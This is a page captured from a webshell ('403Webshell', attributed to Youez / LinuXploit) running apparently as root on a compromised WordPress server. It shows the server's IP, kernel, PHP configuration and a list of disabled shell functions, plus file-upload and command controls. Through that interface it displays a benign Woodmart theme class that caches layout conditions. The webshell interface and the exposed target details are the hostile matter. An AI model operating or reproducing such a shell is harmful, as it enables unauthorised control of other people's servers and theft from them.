403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.51
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.5/wp-content/themes/woodmart/inc/modules/layouts/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.5/wp-content/themes/woodmart/inc/modules/layouts/admin/class-conditions-cache.php
<?php
/**
 * Layout conditions cache class file.
 *
 * @package woodmart
 */

namespace XTS\Modules\Layouts;

use WP_Query;

/**
 * Layout conditions cache class.
 */
class Conditions_Cache {
	/**
	 * Option name.
	 *
	 * @var string
	 */
	private $option_name = 'wd_layouts_conditions';
	/**
	 * Post type.
	 *
	 * @var string
	 */
	private $post_type = 'woodmart_layout';
	/**
	 * Conditions meta key.
	 *
	 * @var string
	 */
	private $conditions_meta_key = 'wd_layout_conditions';
	/**
	 * Type meta key.
	 *
	 * @var string
	 */
	private $type_meta_key = 'wd_layout_type';
	/**
	 * Conditions.
	 *
	 * @var string
	 */
	private $conditions = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->refresh();
	}

	/**
	 * Add.
	 *
	 * @param string $type       Type.
	 * @param array  $conditions Conditions.
	 * @param int    $post_id    Post id.
	 *
	 * @return $this
	 */
	public function add( $type, $conditions, $post_id ) {
		if ( $type ) {
			if ( ! isset( $this->conditions[ $type ] ) ) {
				$this->conditions[ $type ] = [];
			}
			$this->conditions[ $type ][ $post_id ] = $conditions;
		}

		return $this;
	}

	/**
	 * Remove.
	 *
	 * @param int $post_id Post id.
	 *
	 * @return $this
	 */
	public function remove( $post_id ) {
		$post_id = absint( $post_id );

		foreach ( $this->conditions as $type => $templates ) {
			foreach ( $templates as $id => $template ) {
				if ( $post_id === $id ) {
					unset( $this->conditions[ $type ][ $id ] );
				}
			}
		}

		return $this;
	}

	/**
	 * Save.
	 */
	public function save() {
		return update_option( $this->option_name, $this->conditions );
	}

	/**
	 * Refresh.
	 */
	public function refresh() {
		$this->conditions = get_option( $this->option_name, array() );
	}

	/**
	 * Clear.
	 */
	public function clear() {
		$this->conditions = array();
	}

	/**
	 * Get.
	 *
	 * @param string $type Type.
	 *
	 * @return array
	 */
	public function get( $type ) {
		if ( isset( $this->conditions[ $type ] ) ) {
			return $this->conditions[ $type ];
		}

		return array();
	}

	/**
	 * Regenerate.
	 */
	public function regenerate() {
		$this->clear();

		$query = new WP_Query(
			array(
				'posts_per_page'   => - 1,
				'post_type'        => $this->post_type,
				'fields'           => 'ids',
				'meta_key'         => $this->conditions_meta_key, // phpcs:ignore
				'suppress_filters' => true,
			)
		);

		foreach ( $query->posts as $post_id ) {
			$conditions = get_post_meta( $post_id, $this->conditions_meta_key, true );
			$type       = get_post_meta( $post_id, $this->type_meta_key, true );

			$this->add( $type, $conditions, $post_id );
		}

		$this->save();

		return $this;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit